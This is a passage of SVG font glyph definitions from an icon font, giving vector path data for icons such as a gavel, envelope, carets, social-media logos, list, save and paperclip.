<glyph unicode="&#xf0e3;" d="M 442.75,0q0-13.25 -9.25-22.5l-26.75-27q-9.75-9.25 -22.75-9.25q-13.25,0 -22.5,9.25l-90.75,91q-9.5,9 -9.5,22.5q0,13.25 10.75,24l-64,64l-31.5-31.5q-3.5-3.5 -8.5-3.5t-8.5,3.5q 0.5-0.5 3.125-3t 3.125-3.25t 2.5-2.875t 2.5-3.375t 1.5-3.375t 1.375-4.125t 0.375-4.5q0-9.5 -7-17q-0.75-0.75 -4.125-4.5t-4.75-5.125 t-4.625-4.125t-5.5-3.875t-5.5-2.25t-6.5-1.125q-10,0 -17,7l-102,102q-7,7 -7,17q0,3.25 1.125,6.5t 2.25,5.5t 3.875,5.5t 4.125,4.625t 5.125,4.75t 4.5,4.125q 7.5,7 17,7q 2.5,0 4.5-0.375t 4.125-1.375t 3.375-1.5t 3.375-2.5t 2.875-2.5t 3.25-3.125t 3-3.125q-3.5,3.5 -3.5,8.5t 3.5,8.5l 87,87q 3.5,3.5 8.5,3.5t 8.5-3.5 q-0.5,0.5 -3.125,3t-3.125,3.25t-2.5,2.875t-2.5,3.375t-1.5,3.375t-1.375,4.125t-0.375,4.5q0,9.5 7,17q 0.75,0.75 4.125,4.5t 4.75,5.125t 4.625,4.125t 5.5,3.875t 5.5,2.25t 6.5,1.125q 10,0 17-7l 102-102q 7-7 7-17q0-3.25 -1.125-6.5t-2.25-5.5t-3.875-5.5t-4.125-4.625t-5.125-4.75t-4.5-4.125q-7.5-7 -17-7 q-2.5,0 -4.5,0.375t-4.125,1.375t-3.375,1.5t-3.375,2.5t-2.875,2.5t-3.25,3.125t-3,3.125q 3.5-3.5 3.5-8.5t-3.5-8.5l-31.5-31.5l 64-64q 10.75,10.75 24,10.75q 13,0 22.75-9.25l 90.75-90.75q 9.25-9.75 9.25-22.75z"  />
<glyph unicode="&#xf0e2;" d="M 384,160q0-39 -15.25-74.5t-41-61.25t-61.25-41t-74.5-15.25q-43,0 -81.75,18.125t-66,51.125q-1.75,2.5 -1.625,5.625t 2.125,5.125l 34.25,34.5q 2.5,2.25 6.25,2.25q 4-0.5 5.75-3q 18.25-23.75 44.75-36.75t 56.25-13q 26,0 49.625,10.125t 40.875,27.375t 27.375,40.875t 10.125,49.625t-10.125,49.625t-27.375,40.875 t-40.875,27.375t-49.625,10.125q-24.5,0 -47-8.875t-40-25.375l 34.25-34.5q 7.75-7.5 3.5-17.25q-4.25-10 -14.75-10l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,112 q0,10.5 10,14.75q 9.75,4.25 17.25-3.5l 32.5-32.25q 26.75,25.25 61.125,39.125t 71.125,13.875q 39,0 74.5-15.25t 61.25-41t 41-61.25t 15.25-74.5z" horiz-adv-x="384"  />
<glyph unicode="&#xf0e1;" d="M 87.25,227.75l0-247.75 l-82.5,0 l0,247.75 l 82.5,0 zM 92.5,304.25q 0.25-18.25 -12.625-30.5t-33.875-12.25l-0.5,0 q-20.5,0 -33,12.25t-12.5,30.5q0,18.5 12.875,30.625t 33.625,12.125t 33.25-12.125t 12.75-30.625zM 384,122l0-142 l-82.25,0 l0,132.5 q0,26.25 -10.125,41.125t-31.625,14.875q-15.75,0 -26.375-8.625t-15.875-21.375q-2.75-7.5 -2.75-20.25l0-138.25 l-82.25,0  q 0.5,99.75 0.5,161.75t-0.25,74l-0.25,12l 82.25,0 l0-36 l-0.5,0 q 5,8 10.25,14t 14.125,13t 21.75,10.875t 28.625,3.875q 42.75,0 68.75-28.375t 26-83.125z" horiz-adv-x="384"  />
<glyph unicode="&#xf0e0;" d="M 448,206.5l0-198.5 q0-16.5 -11.75-28.25t-28.25-11.75l-368,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,198.5 q 11-12.25 25.25-21.75q 90.5-61.5 124.25-86.25q 14.25-10.5 23.125-16.375t 23.625-12t 27.5-6.125l 0.25,0 l 0.25,0 q 12.75,0 27.5,6.125t 23.625,12t 23.125,16.375q 42.5,30.75 124.5,86.25q 14.25,9.75 25,21.75zM 448,280q0-19.75 -12.25-37.75t-30.5-30.75 q-94-65.25 -117-81.25q-2.5-1.75 -10.625-7.625t-13.5-9.5t-13-8.125t-14.375-6.75t-12.5-2.25l-0.25,0 l-0.25,0 q-5.75,0 -12.5,2.25t-14.375,6.75t-13,8.125t-13.5,9.5t-10.625,7.625q-22.75,16 -65.5,45.625t-51.25,35.625q-15.5,10.5 -29.25,28.875t-13.75,34.125q0,19.5 10.375,32.5t 29.625,13l 368,0 q 16.25,0 28.125-11.75t 11.875-28.25z"  />
<glyph unicode="&#xf0de;" d="M 256,208q0-6.5 -4.75-11.25t-11.25-4.75l-224,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 112,112q 4.75,4.75 11.25,4.75t 11.25-4.75l 112-112q 4.75-4.75 4.75-11.25z" horiz-adv-x="256"  />
<glyph unicode="&#xf0dd;" d="M 256,112q0-6.5 -4.75-11.25l-112-112q-4.75-4.75 -11.25-4.75t-11.25,4.75l-112,112q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 224,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="256"  />
<glyph unicode="&#xf0dc;" d="M 256,112q0-6.5 -4.75-11.25l-112-112q-4.75-4.75 -11.25-4.75t-11.25,4.75l-112,112q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 224,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 256,208q0-6.5 -4.75-11.25t-11.25-4.75l-224,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 112,112q 4.75,4.75 11.25,4.75t 11.25-4.75l 112-112q 4.75-4.75 4.75-11.25z" horiz-adv-x="256"  />
<glyph unicode="&#xf0db;" d="M 40,0l 152,0 l0,288 l-160,0 l0-280 q0-3.25 2.375-5.625t 5.625-2.375zM 384,8l0,280 l-160,0 l0-288 l 152,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 416,312l0-304 q0-16.5 -11.75-28.25t-28.25-11.75l-336,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,304 q0,16.5 11.75,28.25t 28.25,11.75l 336,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="416"  />
<glyph unicode="&#xf0da;" d="M 144,160q0-6.5 -4.75-11.25l-112-112q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,224 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 112-112q 4.75-4.75 4.75-11.25z" horiz-adv-x="160"  />
<glyph unicode="&#xf0d9;" d="M 160,272l0-224 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-112,112q-4.75,4.75 -4.75,11.25t 4.75,11.25l 112,112q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25z" horiz-adv-x="160"  />
<glyph unicode="&#xf0d8;" d="M 256,80q0-6.5 -4.75-11.25t-11.25-4.75l-224,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 112,112q 4.75,4.75 11.25,4.75t 11.25-4.75l 112-112q 4.75-4.75 4.75-11.25z" horiz-adv-x="256"  />
<glyph unicode="&#xf0d7;" d="M 256,208q0-6.5 -4.75-11.25l-112-112q-4.75-4.75 -11.25-4.75t-11.25,4.75l-112,112q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 224,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="256"  />
<glyph unicode="&#xf0d6;" d="M 192,96l 96,0 l0,24 l-32,0 l0,112 l-28.5,0 l-37-34.25l 19.25-20q 10.5,9.25 13.75,14.25l 0.5,0 l0-72 l-32,0 l0-24 zM 320,160q0-17.5 -5.25-35.5t-14.875-33.5t-25.375-25.25t-34.5-9.75t-34.5,9.75t-25.375,25.25t-14.875,33.5t-5.25,35.5t 5.25,35.5t 14.875,33.5t 25.375,25.25t 34.5,9.75t 34.5-9.75t 25.375-25.25t 14.875-33.5t 5.25-35.5zM 448,96 l0,128 q-26.5,0 -45.25,18.75t-18.75,45.25l-288,0 q0-26.5 -18.75-45.25t-45.25-18.75l0-128 q 26.5,0 45.25-18.75t 18.75-45.25l 288,0 q0,26.5 18.75,45.25t 45.25,18.75zM 480,304l0-288 q0-6.5 -4.75-11.25t-11.25-4.75l-448,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,288 q0,6.5 4.75,11.25t 11.25,4.75l 448,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="480"  />
<glyph unicode="&#xf0d5;" d="M 219,17.75q0,5.25 -1.125,10.125t-2.375,9t-4.375,8.625t-5.25,7.625t-6.625,7.375t-6.875,6.375t-8,6.375t-7.75,5.75t-8.25,5.75t-7.625,5.25q-4.25,0.5 -12.5,0.5q-13.5,0 -26.5-1.75t-27-6.25t-24.5-11.5t-17.25-18.75t-6.75-26.75q0-17 8.875-30.375t 23.25-21t 30.125-11.375t 31.75-3.75q 14.75,0 28.125,3.125t 25.125,9.75t 18.625,18.375 t 6.875,27.5zM 189,233.25q0,15 -4.125,31.875t-11.75,32.625t-21,26t-29.875,10.25q-23.25,0 -36-17.25t-12.75-41.25q0-11.75 2.875-24.75t 8.875-26t 14-23.375t 19.5-16.875t 24.25-6.5q 24.25,0 35.125,15.125t 10.875,40.125zM 156.25,352l 109.25,0 l-33.75-19.75l-33.75,0 q 17.75-11.25 27.5-31.5t 9.75-42.25q0-18.5 -5.75-32.875t-14-23.125t-16.5-16.125 t-14-15.25t-5.75-16.875q0-6.5 4.125-12.75t 10.75-12t 14.625-12t 16-13.875t 14.625-16.5t 10.75-21.25t 4.125-26.625q0-40 -35-70.5q-38-32.75 -105-32.75q-14.75,0 -29.875,2.5t-30.5,8.375t-27.125,14.5t-19.25,22.25t-7.5,30.375q0,15.25 9.25,33.75q 8,16 24,27.625t 36.25,17.75t 38.75,9t 37.5,3.375q-16,20.75 -16,37.25q0,3 0.5,5.875 t 1.25,4.875t 2,5.375t 1.75,5.375q-10-1.25 -17.5-1.25q-37.25,0 -63.875,24.5t-26.625,61.5q0,35 23.75,62.625t 58.5,35.375q 23.5,5 46.75,5zM 416,288l0-32 l-64,0 l0-64 l-32,0 l0,64 l-64,0 l0,32 l 64,0 l0,64 l 32,0 l0-64 l 64,0 z" horiz-adv-x="416"  />
<glyph unicode="&#xf0d4;" d="M 169.5-14.25q0-9.5 -2.5-17.75l-95,0 q-23.75,0 -42.875,14.125t-25.875,36.875q 6,11.25 17.25,19.375t 25,12.375t 26.75,6t 26.75,1.75q 8,0 12.25-0.5q 1.5-1 7.625-5.25t 8.25-5.75t 7.75-5.75t 8-6.375t 6.875-6.375t 6.625-7.375t 5.25-7.625t 4.375-8.625t 2.375-9t 1.125-10.125zM 96.25,73.5q-58.5-1.75 -96.25-21.25l0,108.25 q 25.75-29.5 68.25-29.5 q 8,0 17.5,1.25q-5.25-15.25 -5.25-21.5q0-16.75 15.75-37.25zM 139.5,201.25q0-25 -10.875-40.125t-35.125-15.125q-12.75,0 -24.25,6.5t-19.5,16.875t-14,23.375t-8.875,26t-2.875,24.75q0,24 12.875,41.25t 36.125,17.25q 16.5,0 29.75-10.25t 21-26t 11.75-32.5t 4-32zM 384,224l0-184 q0-29.75 -21.125-50.875t-50.875-21.125l-117,0  q 9.75,18.25 9.75,39.25q0,16.5 -5.5,30.625t-13.875,23.25t-18,17.75t-18,14.875t-13.875,13.625t-5.5,14.875q0,9 5.75,17t 14,15.375t 16.375,16.125t 13.875,23.25t 5.75,32.75t-6.625,36.375t-18.875,29.625q-1.5,1.5 -3.5,2.75t-3.125,1.875t-2.5,2.375t-2.625,4.25l 33.75,0 l 33.75,16l-109.25,0 q-34.5,0 -61.125-9.625t-45.625-33.375q0,31.5 20.25,53.25t 51.75,21.75l 240,0  q 29.75,0 50.875-21.125t 21.125-50.875l0-24 l-64,0 l0,64 l-32,0 l0-64 l-64,0 l0-32 l 64,0 l0-64 l 32,0 l0,64 l 64,0 z" horiz-adv-x="384"  />
<glyph unicode="&#xf0d3;" d="M 312,352q 29.75,0 50.875-21.125t 21.125-50.875l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-181.25,0 q 21.25,30.5 27,52.5q 2.25,8.5 13.25,52.25q 5.25-9.75 18.375-16.75t 28.125-7q 45.25,0 73.875,36.875t 28.625,93.375q0,21 -8.75,40.625t-24.125,34.75t-38.125,24.25t-49.25,9.125q-26,0 -48.625-7.125t-38.25-19.125 t-26.875-27.375t-16.625-32t-5.375-33.125q0-25.5 9.875-45t 29.125-27.5q 3.25-1.25 5.875,0t 3.625,4.75q 2.5,11 3.75,15.25q 1.5,5.75 -2.75,10.5q-12.5,15.5 -12.5,37.5q0,37.5 25.875,64.125t 67.625,26.625q 37.25,0 58.125-20.25t 20.875-52.5q0-42 -16.875-71.5t-43.375-29.5q-15,0 -24.25,10.875t-5.75,25.875q 2,8.5 6.625,23.125 t 7.375,25.5t 2.75,18.625q0,12.25 -6.625,20.375t-18.875,8.125q-15.25,0 -25.875-14.125t-10.625-34.875q0-18 6-30.25l-24.5-103.5q-6-25 -1.75-63.5l-45.75,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 z" horiz-adv-x="384"  />
<glyph unicode="&#xf0d2;" d="M 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75q-27.75,0 -54.5,8q 14.75,23.25 19.5,41q 2.25,8.5 13.5,52.75q 5-9.75 18.25-16.875t 28.5-7.125q 30.25,0 54,17.125t 36.75,47.125t 13,67.5q0,28.5 -14.875,53.5t-43.125,40.75t-63.75,15.75q-26.25,0 -49-7.25t-38.625-19.25t-27.25-27.625t-16.75-32.375t-5.375-33.5 q0-26 10-45.75t 29.25-27.75q 7.5-3 9.5,5q 0.5,1.75 2,7.75t 2,7.5q 1.5,5.75 -2.75,10.75q-12.75,15.25 -12.75,37.75q0,37.75 26.125,64.875t 68.375,27.125q 37.75,0 58.875-20.5t 21.125-53.25q0-42.5 -17.125-72.25t-43.875-29.75q-15.25,0 -24.5,10.875t-5.75,26.125q 2,8.75 6.625,23.375t 7.5,25.75t 2.875,18.875q0,12.5 -6.75,20.75t-19.25,8.25 q-15.5,0 -26.25-14.25t-10.75-35.5q0-18.25 6.25-30.5l-24.75-104.5q-4.25-17.5 -3.25-44.25q-51.5,22.75 -83.25,70.25t-31.75,105.75q0,52.25 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf0d1;" d="M 160,32q0,13 -9.5,22.5t-22.5,9.5t-22.5-9.5t-9.5-22.5t 9.5-22.5t 22.5-9.5t 22.5,9.5t 9.5,22.5zM 64,160l 96,0 l0,64 l-39.5,0 q-3.25,0 -5.5-2.25l-48.75-48.75q-2.25-2.25 -2.25-5.5l0-7.5 zM 384,32q0,13 -9.5,22.5t-22.5,9.5t-22.5-9.5t-9.5-22.5t 9.5-22.5t 22.5-9.5t 22.5,9.5t 9.5,22.5zM 448,304l0-256 q0-3.75 -1-6.625t-3.375-4.625 t-4.125-2.875t-5.875-1.5t-5.625-0.5t-6.375,0t-5.625,0.125q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-96,0 q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-16,0 q-0.75,0 -5.625-0.125t-6.375,0t-5.625,0.5t-5.875,1.5t-4.125,2.875t-3.375,4.625t-1,6.625q0,6.5 4.75,11.25t 11.25,4.75l0,80 q0,2 -0.125,8.75t0,9.5 t 0.625,8.625t 1.625,9.25t 3.5,7.625t 5.625,7.5l 49.5,49.5q 4.75,4.75 12.625,8t 14.625,3.25l 40,0 l0,48 q0,6.5 4.75,11.25t 11.25,4.75l 256,0 q 6.5,0 11.25-4.75t 4.75-11.25z"  />
<glyph unicode="&#xf0d0;" d="M 297.5,238.75l 73.25,73.25l-26.75,26.75l-73.25-73.25zM 409.25,312q0-6.75 -4.5-11.25l-321.5-321.5q-4.5-4.5 -11.25-4.5t-11.25,4.5l-49.5,49.5q-4.5,4.5 -4.5,11.25t 4.5,11.25l 321.5,321.5q 4.5,4.5 11.25,4.5t 11.25-4.5l 49.5-49.5q 4.5-4.5 4.5-11.25zM 71.5,359.5l 24.5-7.5l-24.5-7.5l-7.5-24.5l-7.5,24.5l-24.5,7.5l 24.5,7.5l 7.5,24.5zM 159,319 l 49-15l-49-15l-15-49l-15,49l-49,15l 49,15l 15,49zM 391.5,199.5l 24.5-7.5l-24.5-7.5l-7.5-24.5l-7.5,24.5l-24.5,7.5l 24.5,7.5l 7.5,24.5zM 231.5,359.5l 24.5-7.5l-24.5-7.5l-7.5-24.5l-7.5,24.5l-24.5,7.5l 24.5,7.5l 7.5,24.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf0ce;" d="M 128,40l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 128,136l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 256,40l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75 l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 128,232l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 256,136l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,40l0,48  q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 256,232l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,136l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48  q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,232l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-80,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 80,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 416,312l0-272 q0-16.5 -11.75-28.25t-28.25-11.75l-336,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,272 q0,16.5 11.75,28.25t 28.25,11.75l 336,0 q 16.5,0 28.25-11.75t 11.75-28.25 z" horiz-adv-x="416"  />
<glyph unicode="&#xf0cd;" d="M 12,328.25q-9.25,0.5 -11.25,1l-0.75,22q 3.25,0.25 10,0.25q 15,0 28-1q 33-1.75 41.5-1.75q 21.5,0 42,0.75q 29,1 36.5,1.25q 14,0 21.5,0.5l-0.25-3.5l 0.5-16l0-2.25 q-15-2.25 -31-2.25q-15,0 -19.75-6.25q-3.25-3.5 -3.25-33q0-3.25 0.125-8.125t 0.125-6.375l 0.25-57.25l 3.5-70q 1.5-31 12.75-50.5q 8.75-14.75 24-23q 22-11.75 44.25-11.75 q 26,0 47.75,7q 14,4.5 24.75,12.75q 12,9 16.25,16q 9,14 13.25,28.5q 5.25,18.25 5.25,57.25q0,19.75 -0.875,32t-2.75,30.625t-3.375,39.875l-1,14.75q-1.25,16.75 -6,22q-8.5,8.75 -19.25,8.5l-25-0.5l-3.5,0.75l 0.5,21.5l 21,0 l 51.25-2.5q 19-0.75 49,2.5l 4.5-0.5q 1.5-9.5 1.5-12.75q0-1.75 -1-7.75q-11.25-3 -21-3.25q-18.25-2.75 -19.75-4.25q-3.75-3.75 -3.75-10.25 q0-1.75 0.375-6.75t 0.375-7.75q 2-4.75 5.5-99q 1.5-48.75 -3.75-76q-3.75-19 -10.25-30.5q-9.5-16.25 -28-30.75q-18.75-14.25 -45.5-22.25q-27.25-8.25 -63.75-8.25q-41.75,0 -71,11.5q-29.75,11.75 -44.75,30.5q-15.25,19 -20.75,48.75q-4,20 -4,59.25l0,83.25 q0,47 -4.25,53.25q-6.25,9 -36.75,9.75zM 384-24l0,16 q0,3.5 -2.25,5.75t-5.75,2.25l-368,0  q-3.5,0 -5.75-2.25t-2.25-5.75l0-16 q0-3.5 2.25-5.75t 5.75-2.25l 368,0 q 3.5,0 5.75,2.25t 2.25,5.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf0cc;" d="M 440,160q 3.5,0 5.75-2.25t 2.25-5.75l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-432,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 432,0 zM 120.75,176q-7,8.75 -12.75,20q-12,24.25 -12,47q0,45.25 33.5,77.25q 33.25,31.75 98.25,31.75q 12.5,0 41.75-4.75q 16.5-3 44.25-12q 2.5-9.5 5.25-29.5q 3.5-30.75 3.5-45.75q0-4.5 -1.25-11.25l-3-0.75l-21,1.5 l-3.5,0.5q-12.5,37.25 -25.75,51.25q-22,22.75 -52.5,22.75q-28.5,0 -45.5-14.75q-16.75-14.5 -16.75-36.5q0-18.25 16.5-35t 69.75-32.25q 17.25-5 43.25-16.5q 14.5-7 23.75-13l-185.75,0 zM 247.5,112l 102.75,0 q 1.75-9.75 1.75-23q0-27.75 -10.25-53q-5.75-13.75 -17.75-26q-9.25-8.75 -27.25-20.25q-20-12 -38.25-16.5q-20-5.25 -50.75-5.25q-28.5,0 -48.75,5.75 l-35,10q-14.25,4 -18,7q-2,2 -2,5.5l0,3.25 q0,27 -0.5,39q-0.25,7.5 0,17l 0.5,9.25l0,11 l 25.5,0.5q 3.75-8.5 7.5-17.75t 5.625-14t 3.125-6.75q 8.75-14.25 20-23.5q 10.75-9 26.25-14.25q 14.75-5.5 33-5.5q 16,0 34.75,6.75q 19.25,6.5 30.5,21.5q 11.75,15.25 11.75,32.25q0,21 -20.25,39.25q-8.5,7.25 -34.25,17.75z"  />
<glyph unicode="&#xf0cb;" d="M 95.25-21q0-20 -13.625-31.5t-33.875-11.5q-26.5,0 -43,16.5l 14.25,22q 12.25-11.25 26.5-11.25q 7.25,0 12.625,3.625t 5.375,10.625q0,16 -26.25,14l-6.5,14q 2,2.5 8.125,10.875t 10.625,13.5t 9.25,9.625l0,0.25 q-4,0 -12.125-0.25t-12.125-0.25l0-13.25 l-26.5,0 l0,38 l 83.25,0 l0-22 l-23.75-28.75q 12.75-3 20.25-12.25t 7.5-22zM 95.75,135.75l0-39.75 l-90.5,0  q-1.5,9 -1.5,13.5q0,12.75 5.875,23.25t 14.125,17t 16.5,11.875t 14.125,10.875t 5.875,11.25q0,6.25 -3.625,9.625t-9.875,3.375q-11.5,0 -20.25-14.5l-21.25,14.75q 6,12.75 17.875,19.875t 26.375,7.125q 18.25,0 30.75-10.375t 12.5-28.125q0-12.5 -8.5-22.875t-18.75-16.125t-18.875-12.625t-8.875-13.125l 31.75,0 l0,15 l 26.25,0 zM 448,56l0-48 q0-3.25 -2.375-5.625 t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,280.75l0-24.75 l-83.75,0 l0,24.75 l 26.75,0 q0,10.25 0.125,30.5t 0.125,30.25l0,3 l-0.5,0 q-2-4.25 -12.5-13.5l-17.75,19l 34,31.75l 26.5,0 l0-101 l 27,0 zM 448,184l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375 t-2.375,5.625l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,312l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625z"  />
<glyph unicode="&#xf0ca;" d="M 96,32q0-20 -14-34t-34-14t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 96,160q0-20 -14-34t-34-14t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 448,56l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625 t 5.625,2.375l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,288q0-20 -14-34t-34-14t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 448,184l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 448,312l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-304,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 304,0 q 3.25,0 5.625-2.375t 2.375-5.625z"  />
<glyph unicode="&#xf0c9;" d="M 384,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 384,176l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 384,304l0-32 q0-6.5 -4.75-11.25 t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384"  />
<glyph unicode="&#xf0c8;" d="M 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf0c7;" d="M 96,0l 192,0 l0,96 l-192,0 l0-96 zM 320,0l 32,0 l0,224 q0,3.5 -2.5,9.625t-5,8.625l-70.25,70.25q-2.5,2.5 -8.5,5t-9.75,2.5l0-104 q0-10 -7-17t-17-7l-144,0 q-10,0 -17,7t-7,17l0,104 l-32,0 l0-320 l 32,0 l0,104 q0,10 7,17t 17,7l 208,0 q 10,0 17-7t 7-17l0-104 zM 224,232l0,80 q0,3.25 -2.375,5.625t-5.625,2.375 l-48,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-80 q0-3.25 2.375-5.625t 5.625-2.375l 48,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 384,224l0-232 q0-10 -7-17t-17-7l-336,0 q-10,0 -17,7t-7,17l0,336 q0,10 7,17t 17,7l 232,0 q 10,0 22-5t 19-12l 70-70q 7-7 12-19t 5-22z" horiz-adv-x="384"  />
<glyph unicode="&#xf0c6;" d="M 351,37.75q0-29.25 -19.75-49t-49-19.75q-33.75,0 -58.75,25l-194.25,194q-28.25,28.75 -28.25,67.75q0,39.75 27.5,67.5t 67.25,27.75q 39.5,0 68.25-28.25l 151.25-151.5q 2.5-2.5 2.5-5.5q0-4 -7.625-11.625t-11.625-7.625q-3.25,0 -5.75,2.5l-151.5,151.75q-19.75,19.25 -45.25,19.25q-26.5,0 -44.75-18.75t-18.25-45.25q0-26.25 19-45.25 l 194-194.25q 15.75-15.75 36.25-15.75q 16,0 26.5,10.5t 10.5,26.5q0,20.5 -15.75,36.25l-145.25,145.25q-6.5,6 -15,6q-7.25,0 -12-4.75t-4.75-12q0-8 6.25-14.75l 102.5-102.5q 2.5-2.5 2.5-5.5q0-4 -7.75-11.75t-11.75-7.75q-3,0 -5.5,2.5l-102.5,102.5q-15.75,15.25 -15.75,37.25q0,20.5 14.25,34.75t 34.75,14.25q 22,0 37.25-15.75l 145.25-145.25q 25-24.5 25-58.75 z" horiz-adv-x="352"  />
